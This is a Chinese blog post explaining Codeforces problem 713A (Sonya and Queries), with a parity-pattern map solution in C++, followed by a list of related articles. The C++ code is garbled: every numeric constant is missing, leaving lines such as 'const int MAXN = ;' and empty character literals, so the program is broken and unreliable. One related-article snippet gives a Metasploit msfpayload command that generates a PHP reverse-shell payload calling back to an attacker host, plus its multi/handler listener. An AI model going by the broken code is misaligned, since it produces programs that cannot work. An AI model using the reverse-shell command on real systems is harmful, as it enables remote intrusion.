Codeforces 713A. Sonya and Queries
题目链接:http://codeforces.com/problemset/problem/713/A
题意:
Sonya 有一个可放置重复元素的集合 multiset, 初始状态为空, 现给予三种类型的操作:
+ ai : 把 ai 加入到集合 multiset 中, 可能出现重复元素.
- aj : 把 aj 从集合 multiset 中删除, 保证集合中一定存在这个元素.
? s : 统计集合中现有的元素和模式串 s 匹配的个数.s 是一个 “01” 串, 其中 "0" 代表偶数, "1" 代表奇数.
匹配的定义:假设集合中存在一个数字 num, 如果 num 的长度短于 s 的长度, 则给 num 左边补 “0” 直到两个串的长度相等.如果 num 的长度长于 s 的长度, 则给 s 左边补 “0” , 同样直到两个串的长度相等, 之后如果 num 和 s 匹配, 则 num 串的每位应该满足串 s 的奇偶性要求.假设 s = 010, num = 2212, 则 s 左补 “0”, s = 0010, num 从左到右的奇偶性为 “偶偶奇偶” 满足 s 的要求, 则 num 和 s 匹配.同理 s 和 “92" 也匹配, 和 “110” , “3” 等则不匹配.
思路:
在这里,主要的问题是解决 "统计和 s 匹配的元素的个数" 这个问题.因为这里要求的是输出元素的个数, 并没有要求输出元素本身, 那么不妨对每个元素做一个变化, 把具有相同特征但是值不同的元素都视为同样的一个元素. 因为题目中告诉, 这个串的长度不长于 18 位, 则对于每个元素都可以把它变换为一个统一的 18 位串, 对于一个元素 num, 如果位数小于 18, 则左补 "0", 直至位数为 18 位, 之后对于每一位如果此位的数为奇数则直接把此位设置为 “1”, 否则设置为 “0”.比如元素 “241” ---> "00000,00000,00000,001",这样做处理后, 则由于数字 “241” 和数字 “463” 具有相同特征(奇偶性都为 “001”),则处理之后两个数字所对应的模式串应该相等, 就可以大大简化匹配时所做的重复操作.同样对于查询串 s, 也做同样的处理.之后利用 STL 中的 map, 统计相同模式串出现的次数.就可以比较简单的坚决 “查询” , “增加” 以及 “删除” 操作.
代码:
#include <bits/stdc++.h> using namespace std;
typedef long long LL;
const int MAXN = ; string Format(char s[]) { // 对于字符串 s 进行处理, 奇数位变为 “1” 偶数位变为 “0”, 左补 “0” 至 18 位
char revs[];
int len = strlen(s);
for(int i = ; i <= - len; i++) revs[i] = '';
for(int i = - len; i <= ; i++) revs[i] = (s[i - + len] - '') & ? '' : '';
revs[] = '\0'; string ss = revs;
return ss;
} int main() {
ios_base::sync_with_stdio(); cin.tie();
map<string, int> muset;
int T; cin >> T;
while(T--) {
char ord, num[]; cin >> ord >> num;
string ss = Format(num);
if(ord == '+'){
map<string, int>::iterator it;
it = muset.find(ss);
if(it == muset.end()) muset[ss] = ; //利用 map 对同一个模式的串的个数奇数
else muset[ss]++;
}
else if(ord == '-') muset[ss]--;
else cout << muset[ss] << endl;
}
return ;
}
Codeforces 713A. Sonya and Queries的更多相关文章
- Codeforces 714C. Sonya and Queries Tire树
		C. Sonya and Queries time limit per test:1 second memory limit per test: 256 megabytes input:standar ... 
- codeforces 713A A. Sonya and Queries(状态压缩)
		题目链接: A. Sonya and Queries time limit per test 1 second memory limit per test 256 megabytes input st ... 
- Codeforces Round #371 (Div. 2) C. Sonya and Queries 水题
		C. Sonya and Queries 题目连接: http://codeforces.com/contest/714/problem/C Description Today Sonya learn ... 
- Codeforces Round #371 (Div. 2) C. Sonya and Queries —— 二进制压缩
		题目链接:http://codeforces.com/contest/714/problem/C C. Sonya and Queries time limit per test 1 second m ... 
- Codeforces Round #371 (Div. 2) C. Sonya and Queries[Map|二进制]
		C. Sonya and Queries time limit per test 1 second memory limit per test 256 megabytes input standard ... 
- codeforces 797 E. Array Queries【dp,暴力】
		题目链接:codeforces 797 E. Array Queries 题意:给你一个长度为n的数组a,和q个询问,每次询问为(p,k),相应的把p转换为p+a[p]+k,直到p > n为 ... 
- CodeForces - 369E Valera and Queries(树状数组)
		CodeForces - 369E Valera and Queries 题目大意:给出n个线段(线段的左端点和右端点坐标)和m个查询,每个查询有cnt个点,要求给出有多少条线段包含至少其中一个点. ... 
- codeforces 1217E  E. Sum Queries? (线段树
		codeforces 1217E E. Sum Queries? (线段树 传送门:https://codeforces.com/contest/1217/problem/E 题意: n个数,m次询问 ... 
- Codeforces Round #371 (Div. 2) C. Sonya and Queries
		题目链接 分析:01trie树,很容易就看出来了,也没什么好说的.WA了一发是因为没有看见如果数字位数大于01序列的时候01序列也要补全0.我没有晚上爬起来打,白天发现过的人极多. /******** ... 
随机推荐
- CSS实现三列布局方法总结
			aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAABYwAAAI7CAYAAABPx9+YAAARJElEQVR4nO3cwWnDQBBA0TioJrXhTl 
- js的alert抛出之后怎么让页面停止执行?
			方法: 1.如果是form的submit提交,如果要停止,则返回false:如果提交,则返回true就行了. 2.如果是手工跳转的方式,则如果要停止,则不执行跳转代码:如果要提交,则执行跳转代码 示例 ... 
- 几分钟内学习 Clojure
			1.基本例子 ; 分号作为注释的开始 ; Clojure 用一种把元素用括号括起来的像列表一样的方式来书写,元素之间用空格隔开 ; clojure 解释器会把第一个元素当做是函数或者宏调用,其他的都作 ... 
- mysql 替换
			最近贷后好烦,经常让我修改短信模板内容,以前一两个模板手动就直接改了.随着短信模板的增多,手动一个个改内容就不行了. 今天又让我把短信模板中所有的的电话号码修改一下:如:010-44444444改为0 ... 
- Redis 模糊匹配 SearchKeys
			语法:KEYS pattern说明:返回与指定模式相匹配的所用的keys.该命令所支持的匹配模式如下:(1)?:用于匹配单个字符.例如,h?llo可以匹配hello.hallo和hxllo等:(2)* ... 
- codevs1066&&noip引水入城
			这道题 解决第一问 用灌水法 枚举第一行的每一个点 查找是否最后一行的每一个点是否都能灌到水 第二问 用反灌水发 枚举最后一行的每一个点 解决第一行每一个点所能覆盖的左右端点 可以证明每个点所能覆盖的 ... 
- HDU   1234     开门人和关门人  (模拟)
			题目链接 Problem Description 每天第一个到机房的人要把门打开,最后一个离开的人要把门关好.现有一堆杂乱的机房签 到.签离记录,请根据记录找出当天开门和关门的人. Input ... 
- vue-cli proxyTable中跨域中pathRewrite 怎么用
			问:proxyTable 里面的pathRewrite里面的‘^/iclient’:'' 什么意思? 答:用代理, 首先你得有一个标识, 告诉他你这个连接要用代理. 不然的话, 可能你的 html, ... 
- mave的依赖范围
			compile(编译范围) compile是默认的范围:如果没有提供一个范围,那该依赖的范围就是编译范 围.编译范围依赖在所有的classpath中可用,同时它们也会被打包. provided(已提供 ... 
- msf web脚本反弹shell
			msf > msfpayload php/reverse_php LHOST=x.x.x.x LPORT=2333 R > re.php msf > use multi/handle ... 
